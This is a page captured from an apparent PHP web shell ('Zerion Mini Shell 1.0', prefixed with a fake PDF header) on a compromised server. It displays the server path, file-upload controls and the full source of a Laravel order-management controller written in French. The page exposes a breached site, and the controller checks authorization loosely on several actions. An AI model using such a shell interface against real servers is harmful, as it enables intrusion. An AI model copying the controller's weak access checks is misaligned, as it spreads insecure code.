%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/apache/htdocs/app/Http/Controllers/
Upload File :
Create Path :
Current File : //usr/local/apache/htdocs/app/Http/Controllers/CommandeController.php

<?php

namespace App\Http\Controllers;

use App\Models\Commande;
use App\Models\Facture;
use App\Models\Product;
use App\Models\Commande_product;
use App\Models\Reglements;
use App\Models\User;
use App\Models\Taux;
use Illuminate\Http\Request;
use Illuminate\Support\MessageBag;

class CommandeController extends Controller
{

    /**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function commercials_index(Request $request)//commercials
    {
        $commandes = $request->user()->can('edit employers') ? Commande::paginate(100) : Commande::where('commercial_id', $request->user()->id)->paginate(100);
        return view('commandes.Commercials', compact('commandes'));
    }

    function Encours_index(Request $request)//Amina
    {
        $commandes = Commande::paginate(100);
        $produits = Product::where('parent_id', 0)->get();
        return view('commandes.Encours', compact('commandes', 'produits'));
    }

    function Validated_index(Request $request)//Aman
    {
        $commandes = Commande::whereNotIn('status', ['pending'])->paginate(100);
        $produits = Product::where('parent_id', 0)->get();
        return view('commandes.Validated', compact('commandes', 'produits'));
    }

    /**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    public function store(Request $request)
    {
        //Create Facture
        $facture = Facture::create([
            'num_facture' => '',
            'type' => 'facture',
            'date' => gmdate('Y-m-d H:i:s'),
            'taux_id' => 0,
            'client_id' => 0,
        ]);
        //Create commande
        if ($facture && $facture->save()) {
            $commande = Commande::create([
                'facture_id' => $facture->id,
                'commercial_id' => $request->user()->id,
                'livreur' => $request->livreur,
                'livraison_ref' => '',
                'frais_livraison' => '',
                'autre_livraison' => $request->autre_livraison,
            ]);
        }
        //Create relation CommandeProduct
        if ($commande && $commande->save()) {
            $com_prods = [];
            foreach ((array) $request->product_id as $key => $value) {
                $com_prods[] = [
                    'commande_id' => $commande->id,
                    'product_id' => $value,
                    'remise' => $request->remise[$key]
                ];
            }
            $commande_prod = Commande_product::insert($com_prods);

            if ($commande_prod) {
                return redirect()->route('commandes_comm')->with('status', 'success');
            } else {
            }
        }
    }
    public function  form_valider(Request $request)
    {
        $commandes = $request->user()->can('edit employers') ? Commande::paginate(100) : Commande::where('commercial_id', $request->user()->id)->paginate(100);
        $produits = Product::where('parent_id', 0)->get();
        $taux = Taux::all();
        $clients = User::role('client')->get()->pluck('name', 'id');
        $commande = Commande::find($request->id);
        
        return view('Commandes.formValider', ['commande' => $commande], compact('commandes', 'produits', 'taux', 'clients'));
    }

    public function Valider_Commande(Request $request, $id)
    {

        $commande = Commande::find($id);

        $commande->facture->update([
            'num_facture' => $request->num_facture,
            'type' => $request->type_facture,
            'taux_id' => $request->taux_id,
            'client_id' => $request->client_id
        ]);

        $commande->update([
            'livreur' => $request->livreur,
            'livraison_ref' => $request->livraison_ref,
            'frais_livraison' => $request->frais_livraison,
            'autre_livraison' => $request->autre_livraison,
            'status' => 'validated'
        ]);

        $reglement = [];
        foreach ((array) $request->montant as $key => $value) {
            if( !$request->montant[$key] )
                continue;
            $reglement[] = [
                'num' => @$request->num[$key] ? $request->num[$key] : '',
                'montant' => $request->montant[$key],
                'commande_id' => $commande->id,
                'banque' => $request->banque[$key],
                'method' => $request->method[$key],
                'date_reglement' => $request->date_reglement[$key],
                'type' => $request->type[$key],
                'status' => $request->status[$key]
            ];
        }
        $reglements = Reglements::insert($reglement);
        $commande->save();
        if ($reglements) {
            return redirect()->route('en_cours')->with('status', 'vous avez validez la commande avec succès 😊');
        } else {
        }
    }

    public function Annuler_Commande(Request $request)
    {
        $commande = Commande::find($request->id);
        $commande->update([
            'status' => 'cancelled',
        ]);

        if( $commande->save() ) {
            if ($commande && $request->user()->hasRole('commercial')) {
                
                return redirect()->route('commandes_comm')->with('status', 'vous avez annulez la commande avec succès');
            
            } else if ($commande && ($request->user()->hasRole('secretaire') || $request->user()->hasRole('admin'))){

                return  redirect()->route('en_cours')->with('status', 'Vous avez annulez la commande 😔');
            
            }
        }

        $errors = new MessageBag;
        $errors->add('not_cancelled', 'Le commade n\'pas annulé.');
        return redirect()->back()->withErrors($errors);
    }

    public function  form_sortie(Request $request)
    {
        $produits = Product::where('parent_id', 0)->get();
        $taux = Taux::all();
        $clients = User::role('client')->get()->pluck('name', 'id');
        $commande = Commande::find($request->id);
        
        return view('Commandes.unstocked', ['commande' => $commande], compact('produits', 'taux', 'clients'));
    }

    public function Unstocked(Request $request)//Aman
    {

        $commande = Commande::find($request->id);
        $commande->update([
            'status' => 'unstocked',
        ]);
        $commande->save();
        if ($commande) {
            return redirect()->route('Validated_index')->with('status', 'vous avez validez la commande avec succès 😊');
        } else {
            return redirect()->back()->with('error', 'Vous n\'avez pas validez la commande 😔');
        }
    }

    public function Returned(Request $request)//Amina + Aman
    {
        $commande = Commande::find($request->id);
        $commande->update([
            'status' => 'returned',
        ]);
        
        if($commande->save()){
            
            if ($commande && $request->user()->hasRole('gestionnaire')) {
                
                return redirect()->route('Validated')->with('status', 'la commande est retourné avec succès 😊');
            
            } else if ($commande && ($request->user()->hasRole('secretaire') || $request->user()->hasRole('admin'))) {
                
                return redirect()->route('en_cours')->with('status', 'la commande est retourné avec succès 😊');
            }
        }
        
        $errors = new MessageBag;
        
        $errors->add('not_cancelled', 'La commande n\'pas retourné.');
        
        return redirect()->back()->withErrors($errors);
    }

    public function Delivred(Request $request){
        
        $commande = Commande::find($request->id);
        
        $commande->update(['status' => 'unstocked',]);
        
        $commande->save();

        if ($commande) {

            return redirect()->route('Validated_index')->with('status', 'vous avez validez la commande avec succès 😊');
        
        } else {
            
            return redirect()->back()->with('error', 'Vous n\'avez pas validez la commande 😔');
        }
}
}

Zerion Mini Shell 1.0